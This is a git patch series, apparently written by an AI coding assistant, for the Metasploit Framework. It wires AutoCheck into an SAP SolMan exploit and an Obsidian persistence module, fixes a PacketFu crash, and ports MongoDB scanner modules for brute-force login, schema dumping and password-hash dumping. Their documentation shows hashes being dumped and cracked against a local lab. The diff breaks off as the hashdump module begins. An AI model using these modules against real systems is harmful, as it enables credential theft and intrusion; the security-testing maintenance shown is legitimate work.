From 3640933fbdb4089be1fa5d0dea7e45a3214bb998 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 08:24:42 +0000 Subject: [PATCH 1/6] Add AutoCheck to SAP SolMan CVE-2020-6207 exploit The module's check method already returns proper CheckCode values but wasn't wired into the framework's check-before-exploit flow. Prepending Msf::Exploit::Remote::AutoCheck lets users verify vulnerability status automatically before exploitation, with ForceExploit available to override. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01CkE73M69GgryoXCXW9sTg7 --- modules/exploits/multi/sap/cve_2020_6207_solman_rs.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/sap/cve_2020_6207_solman_rs.rb b/modules/exploits/multi/sap/cve_2020_6207_solman_rs.rb index b6f40ae2dec95..f01bced46b15b 100644 --- a/modules/exploits/multi/sap/cve_2020_6207_solman_rs.rb +++ b/modules/exploits/multi/sap/cve_2020_6207_solman_rs.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( From 005f15d6b053020b07703812043598cd5f7b3fd5 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 08:37:35 +0000 Subject: [PATCH 2/6] Add AutoCheck to Obsidian plugin persistence module The module's check method already returns proper CheckCode values but wasn't wired into the framework's check-before-exploit flow. Prepending Msf::Exploit::Remote::AutoCheck lets users verify vault presence automatically before persistence is installed, with ForceExploit available to override. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01CkE73M69GgryoXCXW9sTg7 --- modules/exploits/multi/persistence/obsidian_plugin.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/persistence/obsidian_plugin.rb b/modules/exploits/multi/persistence/obsidian_plugin.rb index 8e114af940831..5dca4fc120f02 100644 --- a/modules/exploits/multi/persistence/obsidian_plugin.rb +++ b/modules/exploits/multi/persistence/obsidian_plugin.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Unix # whoami include Msf::Auxiliary::Report include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/multi/local/obsidian_plugin_persistence' From 25ae6bf97ad79912fa20e1ff9c665735c305399a Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 08:48:37 +0000 Subject: [PATCH 3/6] Fix PacketFu typecast crash on Ruby 3.4+ packetfu 2.0.0's StructFu#typecast infers the attribute being assigned by regex-parsing the method name out of caller[0]'s raw backtrace entry, requiring a literal backtick before the method name. Ruby 3.4 changed backtrace quoting from a backtick to a single quote (https://bugs.ruby-lang.org/issues/19392), so the match returns nil and the subsequent [1] raises NoMethodError: undefined method '[]' for nil. This breaks every PacketFu header assignment on Ruby 3.4+, including arp_sweep's ARPPacket construction. packetfu is unmaintained (last released June 2023), so patch StructFu#typecast in a small compat file required right after packetfu loads, accepting either quote character so it works on Ruby < 3.4 and >= 3.4 alike. See #21721 Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01CkE73M69GgryoXCXW9sTg7 --- lib/msf/core/exploit/capture.rb | 1 + .../exploit/capture/packetfu_ruby34_compat.rb | 20 +++++++++++++++++++ 2 files changed, 21 insertions(+) create mode 100644 lib/msf/core/exploit/capture/packetfu_ruby34_compat.rb diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 8784d4ede95b9..edbcedfffa3f6 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -52,6 +52,7 @@ def initialize(info = {}) begin require 'packetfu' + require_relative 'capture/packetfu_ruby34_compat' require 'pcaprub' @pcaprub_loaded = true rescue ::LoadError => e diff --git a/lib/msf/core/exploit/capture/packetfu_ruby34_compat.rb b/lib/msf/core/exploit/capture/packetfu_ruby34_compat.rb new file mode 100644 index 0000000000000..e9544c1965bbd --- /dev/null +++ b/lib/msf/core/exploit/capture/packetfu_ruby34_compat.rb @@ -0,0 +1,20 @@ +# -*- coding: binary -*- + +# packetfu 2.0.0's StructFu#typecast infers which attribute is being +# assigned by parsing the method name out of its caller's raw backtrace +# entry (e.g. ".../eth_header.rb:38:in `eth_proto='"), which requires a +# backtick before the method name. Ruby 3.4 changed backtrace quoting to +# use a single quote instead of a backtick for method names +# (https://bugs.ruby-lang.org/issues/19392), so the match returns nil and +# calling [1] on it raises NoMethodError: undefined method '[]' for nil -- +# breaking every PacketFu header assignment (e.g. arp_sweep). Accept either +# quote character so this works on Ruby < 3.4 and >= 3.4 alike. +# +# packetfu is unmaintained (last released 2023), so the fix lives here +# instead of upstream. See #21721. +module StructFu + def typecast(value) + field = caller[0].match(/.*[`']([^']+)='/)[1] + self[field.to_sym].read value + end +end From 0fdbf1c662a8e67ad7fc18042b83804ee28df5c8 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 09:24:31 +0000 Subject: [PATCH 4/6] Port and fix MongoDB scanner modules Ports and fixes the MongoDB auxiliary modules from rapid7/metasploit-framework#21785 (h00die): mongodb_version (new), mongodb_login (updated for SCRAM-SHA-1 / MongoDB 3.0+), and the new mongodb_schemadump and mongodb_hashdump modules. Fixes applied relative to the original PR: - 'Reliability' => [UNKNOWN_RELIABILITY] double-nested the constant (UNKNOWN_RELIABILITY is itself ['unknown-reliability']), which crashed the `info` command with "no implicit conversion of Array into String" in dump_traits. Changed to 'Reliability' => UNKNOWN_RELIABILITY in all four modules. - mongodb_version.rb defined a `parse_doc` helper that was never called; get_version duplicated the same BSON-parsing logic inline. - ~250 lines of identical build_cmd_packet/parse_doc/parse_docs/ parse_scram_payload/have_auth_error? code were copy-pasted across mongodb_login.rb and mongodb_hashdump.rb (with subsets duplicated in mongodb_version.rb and mongodb_schemadump.rb too). Extracted the wire-protocol primitives into a new Msf::Exploit::Remote::Mongodb mixin (lib/msf/core/exploit/remote/mongodb.rb); each module keeps its own auth-flow/reporting logic on top of it, since those differ enough (SCRAM step counts, whether creds get reported, return value semantics) that unifying them risked changing tested behavior. - Typo: "Sccuessfully tested" -> "Successfully tested" in mongodb_schemadump.rb's description. - mongodb_hashdump.rb stores credentials with jtr_format 'mongodb-scram-sha1'/'mongodb-scram-sha256', but neither format is registered in cracker.rb's jtr_format_to_hashcat_format table or crack_databases.rb's format list, so Metasploit's own analyze modules won't select them for cracking despite the hashes being correctly formatted for external hashcat use. Documented this limitation directly in the module description rather than attempting an unverified extension of the cracking pipeline. - Missing trailing newline in 3 of 4 documentation markdown files, which fails tools/dev/msftidy_docs.rb. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01CkE73M69GgryoXCXW9sTg7 --- .../scanner/mongodb/mongodb_hashdump.md | 160 +++++++ .../scanner/mongodb/mongodb_login.md | 148 +++++++ .../scanner/mongodb/mongodb_schemadump.md | 236 ++++++++++ .../scanner/mongodb/mongodb_version.md | 83 ++++ lib/msf/core/exploit/remote/mongodb.rb | 109 +++++ .../scanner/mongodb/mongodb_hashdump.rb | 405 ++++++++++++++++++ .../scanner/mongodb/mongodb_login.rb | 275 ++++++++---- .../scanner/mongodb/mongodb_schemadump.rb | 261 +++++++++++ .../scanner/mongodb/mongodb_version.rb | 87 ++++ 9 files changed, 1671 insertions(+), 93 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md create mode 100644 lib/msf/core/exploit/remote/mongodb.rb create mode 100644 modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb create mode 100644 modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb create mode 100644 modules/auxiliary/scanner/mongodb/mongodb_version.rb diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md new file mode 100644 index 0000000000000..8ff2a3184e4fd --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md @@ -0,0 +1,160 @@ +## Vulnerable Application + +This module extracts password hashes from a MongoDB instance and stores +them in the database for later cracking. By default, it dumps system user +credentials from the 'system.users' collection. Alternatively, +it can dump application user hashes from a specified collection. + +Use Hashcat mode 24100 for SCRAM-SHA-1 and 24200 for SCRAM-SHA-256 +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_hashdump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a hash dump + +## Options + +### DB + +Database to query. Defaults to `admin` + +### COLLECTION + +Custom collection to dump (if empty, dumps system.users). Defaults to ``. + +### USER_FIELD + +Username field name for custom collection. Defaults to `username` + +### HASH_FIELD + +Hash field name for custom collection. Defaults to `hash` + +### USERNAME + +Username for authentication if required. Defaults to ``. + +### PASSWORD + +Password for authentication if required. Defaults to ``. + +## Scenarios + +### MongoDB 3.6 + +``` +msf > use auxiliary/scanner/mongodb/mongodb_hashdump +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_hashdump) > exploit +[*] 127.0.0.1:27017 - Connecting to 127.0.0.1... +[+] 127.0.0.1:27017 - No authentication required +[*] 127.0.0.1:27017 - Dumping MongoDB system users from admin.system.users... +[+] 127.0.0.1:27017 - +MongoDB System Hashes +===================== + +Type Username Hash +---- -------- ---- +db (SCRAM-SHA-1) admin $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W7MLw==*NyPJ9yTYQcSRYcyC+8rCqvu9c4g= + +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Cracking + +``` +$ hashcat /tmp/hashes.txt -m 24100 -a 0 /tmp/wordlist --potfile-disable +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] +==================================================================================================================================================== +* Device #01: cpu-ivybridge-Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz, 39240/78480 MB (16384 MB allocatable), 12MCU + +...clip... + +Approaching final keyspace - workload adjusted. + +$mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W7MLw==*NyPJ9yTYQcSRYcyC+8rCqvu9c4g=:adminpassword + +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 24100 (MongoDB ServerKey SCRAM-SHA-1) +Hash.Target......: $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W...u9c4g= +Time.Started.....: Fri Aug 14 14:31:45 2026 (0 secs) +Time.Estimated...: Fri Aug 14 14:31:45 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/tmp/wordlist) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........: 225 H/s (0.86ms) @ Accel:87 Loops:1000 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 3/3 (100.00%) +Rejected.........: 0/3 (0.00%) +Restore.Point....: 0/3 (0.00%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:9000-9999 +Candidate.Engine.: Device Generator +Candidates.#01...: admin -> password +Hardware.Mon.#01.: Util: 20% + +Started: Fri Aug 14 14:31:42 2026 +Stopped: Fri Aug 14 14:31:47 2026 +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md new file mode 100644 index 0000000000000..1ec1bc6238c60 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md @@ -0,0 +1,148 @@ +## Vulnerable Application + +This module attempts to brute force authentication credentials for MongoDB. +It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy +MONGODB-CR authentication if SCRAM is unsupported by the target server. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_login` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a login + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_login) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[*] 127.0.0.1:27017 - 127.0.0.1:27017 - Mongo server (version 3.6.23) requires authentication +[*] 127.0.0.1:27017 - Trying user: admin, password: adminpassword +[+] 127.0.0.1:27017 - 127.0.0.1 - SUCCESSFUL LOGIN 'admin' : 'adminpassword' (SCRAM-SHA-1) +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[+] 127.0.0.1:27017 - Mongo server 127.0.0.1 (version 3.6.23) doesn't use authentication +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md new file mode 100644 index 0000000000000..c2e9247825644 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md @@ -0,0 +1,236 @@ +## Vulnerable Application + +This module connects to an unauthenticated or authenticated MongoDB instance, +authenticates using SCRAM-SHA-1 if credentials are provided, enumerates +databases and collections via wire protocol, samples documents, and dumps +the inferred schema structure. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_schemadump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a schema dump + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +### SAMPLE_SIZE + +Number of sample documents to inspect per collection for schema mapping. Defaults to `5` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814091146_default_127.0.0.1_mongodb.schema_850455.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[*] 127.0.0.1:27017 - Post-auth listDatabases reply: {"databases"=>[{"name"=>"admin", "sizeOnDisk"=>81920.0, "empty"=>false}, {"name"=>"config", "sizeOnDisk"=>12288.0, "empty"=>false}, {"name"=>"intranet", "sizeOnDisk"=>65536.0, "empty"=>false}, {"name"=>"local", "sizeOnDisk"=>65536.0, "empty"=>false}], "totalSize"=>225280.0, "ok"=>1.0} +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[+] 127.0.0.1:27017 - Schema for admin.system.users: + - _id (String) + - userId (Binary) + - user (String) + - db (String) + - credentials (Document) + - credentials.SCRAM-SHA-1 (Document) + - credentials.SCRAM-SHA-1.iterationCount (Integer) + - credentials.SCRAM-SHA-1.salt (String) + - credentials.SCRAM-SHA-1.storedKey (String) + - credentials.SCRAM-SHA-1.serverKey (String) + - roles (Array) +[+] 127.0.0.1:27017 - Schema for admin.system.version: + - _id (String) + - version (String) + - currentVersion (Integer) +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - Collection config.system.sessions is empty or returned no fields. +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[+] 127.0.0.1:27017 - Schema for intranet.users: + - _id (ObjectId) + - user (String) + - role (String) + - email (String) +[+] 127.0.0.1:27017 - Schema for intranet.config: + - _id (ObjectId) + - key (String) + - value (String) + - note (String) +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema for local.startup_log: + - _id (String) + - hostname (String) + - startTime (Time) + - startTimeLocal (String) + - cmdLine (Document) + - cmdLine.net (Document) + - cmdLine.net.bindIp (String) + - cmdLine.net.port (Integer) + - cmdLine.net.ssl (Document) + - cmdLine.net.ssl.mode (String) + - cmdLine.processManagement (Document) + - cmdLine.processManagement.fork (TrueClass) + - cmdLine.processManagement.pidFilePath (String) + - cmdLine.systemLog (Document) + - cmdLine.systemLog.destination (String) + - cmdLine.systemLog.logAppend (TrueClass) + - cmdLine.systemLog.path (String) + - pid (Integer) + - buildinfo (Document) + - buildinfo.version (String) + - buildinfo.gitVersion (String) + - buildinfo.modules (Array) + - buildinfo.allocator (String) + - buildinfo.javascriptEngine (String) + - buildinfo.sysInfo (String) + - buildinfo.versionArray (Array) + - buildinfo.openssl (Document) + - buildinfo.openssl.running (String) + - buildinfo.openssl.compiled (String) + - buildinfo.buildEnvironment (Document) + - buildinfo.buildEnvironment.distmod (String) + - buildinfo.buildEnvironment.distarch (String) + - buildinfo.buildEnvironment.cc (String) + - buildinfo.buildEnvironment.ccflags (String) + - buildinfo.buildEnvironment.cxx (String) + - buildinfo.buildEnvironment.cxxflags (String) + - buildinfo.buildEnvironment.linkflags (String) + - buildinfo.buildEnvironment.target_arch (String) + - buildinfo.buildEnvironment.target_os (String) + - buildinfo.bits (Integer) + - buildinfo.debug (FalseClass) + - buildinfo.maxBsonObjectSize (Integer) + - buildinfo.storageEngines (Array) + - cmdLine.net.bindIpAll (TrueClass) + - cmdLine.security (Document) + - cmdLine.security.authorization (String) +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814093115_default_127.0.0.1_mongodb.schema_973313.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md new file mode 100644 index 0000000000000..4b1097f180a48 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md @@ -0,0 +1,83 @@ +## Vulnerable Application + +This module connects to a MongoDB instance and retrieves the server version +using the buildInfo command. No authentication is required for this command. + +Tested against MongoDB 3.6.23 + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_version` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a version back + +## Options + +## Scenarios + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_version +msf auxiliary(scanner/mongodb/mongodb_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_version) > run +[*] 127.0.0.1:27017 - Connecting to 127.0.0.1:27017... +[+] 127.0.0.1:27017 - 127.0.0.1:27017 - MongoDB version: 3.6.23 +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/exploit/remote/mongodb.rb b/lib/msf/core/exploit/remote/mongodb.rb new file mode 100644 index 0000000000000..ce6dc5f088523 --- /dev/null +++ b/lib/msf/core/exploit/remote/mongodb.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + +module Msf + # This mixin provides the low-level MongoDB wire protocol helpers (OP_QUERY + # packet construction and BSON reply parsing) shared by the MongoDB + # auxiliary scanner modules. It intentionally stays at the wire-protocol + # level -- higher-level behavior such as authentication flows and + # credential reporting differs enough between modules (SCRAM step counts, + # whether creds get reported, return value semantics) that unifying it + # here would risk changing tested behavior, so each module keeps its own + # auth/report logic built on top of these primitives. + module Exploit::Remote::Mongodb + include Msf::Exploit::Remote::Tcp + + # Builds a MongoDB wire protocol OP_QUERY message. + # + # @param coll_name [String] fully qualified namespace, e.g. "admin.$cmd" + # @param bson_payload [String] the BSON-encoded command/query document + # @param number_to_return [Integer] OP_QUERY numberToReturn field + # @return [String] the raw wire protocol message bytes + def mongodb_build_packet(coll_name, bson_payload, number_to_return: 1) + coll_str = "#{coll_name}\x00" + req_id = Rex::Text.rand_text(4) + msg_len = 16 + 4 + coll_str.length + 4 + 4 + bson_payload.length + + packet = [msg_len].pack('V') + packet << req_id # requestID + packet << "\x00\x00\x00\x00" # responseTo: 0 + packet << "\xd4\x07\x00\x00" # opCode: 2004 (OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << coll_str # fullCollectionName + packet << "\x00\x00\x00\x00" # numberToSkip: 0 + packet << [number_to_return].pack('V') # numberToReturn + packet << bson_payload + packet + end + + # Parses the single BSON reply document from a raw OP_REPLY response. + # + # @param response [String, nil] raw bytes read from the socket + # @return [BSON::Document, nil] + def mongodb_parse_doc(response) + return nil if response.nil? || response.length <= 36 + + buffer = BSON::ByteBuffer.new(response[36..]) + BSON::Document.from_bson(buffer) + rescue StandardError + nil + end + + # Parses every BSON document present in a raw OP_REPLY response body. + # + # @param response [String, nil] raw bytes read from the socket + # @return [Array] + def mongodb_parse_docs(response) + return [] if response.nil? || response.length <= 36 + + data = response[36..] + return [] if data.nil? || data.empty? + + docs = [] + offset = 0 + + while offset < data.length + break if offset + 4 > data.length + + doc_len = data[offset, 4].unpack1('V') + break if doc_len.nil? || doc_len <= 0 || (offset + doc_len) > data.length + + buffer = BSON::ByteBuffer.new(data[offset, doc_len]) + docs << BSON::Document.from_bson(buffer) + offset += doc_len + end + + docs + rescue StandardError => e + vprint_error("BSON parse error: #{e.message}") + [] + end + + # Parses a SCRAM `key=value,key=value` wire payload into a Hash. + # + # @param payload [String] + # @return [Hash] + def mongodb_parse_scram_payload(payload) + payload.split(',').each_with_object({}) do |var, hash| + k, v = var.split('=', 2) + hash[k] = v if k && v + end + end + + # @param response [String, nil] + # @return [Boolean] true if the response indicates the command failed due + # to a missing/invalid authentication context + def mongodb_have_auth_error?(response) + return true if response.nil? || response.length <= 36 + + doc = mongodb_parse_doc(response) + if doc + return true if doc['ok'].to_i == 0 || doc['errmsg'] + else + documents = response[36..] + return documents.include?('errmsg') || documents.include?('unauthorized') || documents.include?('requires authentication') + end + + false + end + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb new file mode 100644 index 